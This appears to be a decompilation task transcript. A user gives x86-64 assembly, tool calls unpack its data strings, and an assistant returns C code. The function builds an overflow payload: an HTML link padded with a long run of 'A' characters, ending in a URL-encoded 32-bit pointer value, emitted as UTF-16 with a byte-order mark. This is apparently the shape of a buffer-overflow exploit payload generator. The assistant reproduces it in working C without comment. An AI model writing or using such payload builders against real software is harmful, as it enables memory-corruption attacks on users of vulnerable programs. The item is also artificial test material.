user: Translate the below assembly code into C programming language:

```asm
<insert_link>:
  endbr64
  push   %rbp
  mov    %rsp,%rbp
  sub    $0x180,%rsp
  mov    %rdi,-0x178(%rbp)
  mov    %esi,-0x17c(%rbp)
  mov    %fs:0x28,%rax
  mov    %rax,-0x8(%rbp)
  xor    %eax,%eax
  lea    -0x140(%rbp),%rax
  lea    D15(%rip),%rdx
  mov    $0x26,%ecx
  mov    %rax,%rdi
  mov    %rdx,%rsi
  rep movsq %ds:(%rsi),%es:(%rdi)
  mov    -0x17c(%rbp),%eax
  shr    $0x18,%eax
  mov    %eax,%edi
  mov    -0x17c(%rbp),%eax
  sar    $0x10,%eax
  movzbl %al,%esi
  mov    -0x17c(%rbp),%eax
  sar    $0x8,%eax
  movzbl %al,%ecx
  mov    -0x17c(%rbp),%eax
  movzbl %al,%edx
  lea    -0x160(%rbp),%rax
  mov    %edi,%r9d
  mov    %esi,%r8d
  lea    D13(%rip),%rsi
  mov    %rax,%rdi
  call   <sprintf@plt>
  lea    -0x140(%rbp),%rax
  add    $0x11d,%rax
  lea    -0x160(%rbp),%rcx
  mov    $0xc,%edx
  mov    %rcx,%rsi
  mov    %rax,%rdi
  call   <memcpy@plt>
  mov    -0x178(%rbp),%rax
  movb   $0xff,(%rax)
  mov    -0x178(%rbp),%rax
  add    $0x1,%rax
  movb   $0xfe,(%rax)
  movl   $0x0,-0x164(%rbp)
  jmp    L0
L20:
  mov    -0x164(%rbp),%eax
  movzbl -0x140(%rbp,%rax,1),%edx
  mov    -0x164(%rbp),%eax
  add    $0x1,%eax
  add    %eax,%eax
  mov    %eax,%ecx
  mov    -0x178(%rbp),%rax
  add    %rcx,%rax
  mov    %dl,(%rax)
  mov    -0x164(%rbp),%eax
  add    %eax,%eax
  add    $0x3,%eax
  mov    %eax,%edx
  mov    -0x178(%rbp),%rax
  add    %rdx,%rax
  movb   $0x0,(%rax)
  addl   $0x1,-0x164(%rbp)
L0:
  lea    -0x140(%rbp),%rax
  mov    %rax,%rdi
  call   <strlen@plt>
  cmp    %eax,-0x164(%rbp)
  jb     L20
  nop
  mov    -0x8(%rbp),%rax
  sub    %fs:0x28,%rax
  je     L10
  call   <__stack_chk_fail@plt>
L10:
  leave
  ret
```

tool_calls: name: unpack_data
arguments: data_tag: D15
type_guessed: string
name: unpack_data
arguments: data_tag: D13
type_guessed: string

tool: D15: <a href="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%xx%xx%xx%xx"></a>

tool: D13: %%%02x%%%02x%%%02x%%%02x

assistant: ```c
void insert_link(unsigned char *buf, uint32_t pointer) {
  char link[] = "<a href=\"AAAAAAA"
                "AAAAAAAAAAAAAAAA"
                "AAAAAAAAAAAAAAAA"
                "AAAAAAAAAAAAAAAA"
                "AAAAAAAAAAAAAAAA"
                "AAAAAAAAAAAAAAAA"
                "AAAAAAAAAAAAAAAA"
                "AAAAAAAAAAAAAAAA"
                "AAAAAAAAAAAAAAAA"
                "AAAAAAAAAAAAAAAA"
                "AAAAAAAAAAAAAAAA"
                "AAAAAAAAAAAAAAAA"
                "AAAAAAAAAAAAAAAA"
                "AAAAAAAAAAAAAAAA"
                "AAAAAAAAAAAAAAAA"
                "AAAAAAAAAAAAAAAA"
                "AAAAAAAAAAAAAAAA"
                "AAAAAAAAAAAAA%xx"
                "%xx%xx%xx\"></a>";
  char tmp[32];
  unsigned int i;
  sprintf(tmp, "%%%02x%%%02x%%%02x%%%02x", pointer & 0xff, (pointer >> 8) & 0xff, (pointer >> 16) & 0xff, (pointer >> 24) & 0xff);
  memcpy(link + 0x11d, tmp, 12);
  buf[0] = 0xff;
  buf[1] = 0xfe;
  for (i = 0; i < strlen(link); i++) {
    buf[i * 2 + 2] = link[i];
    buf[i * 2 + 3] = 0;
  }
}
```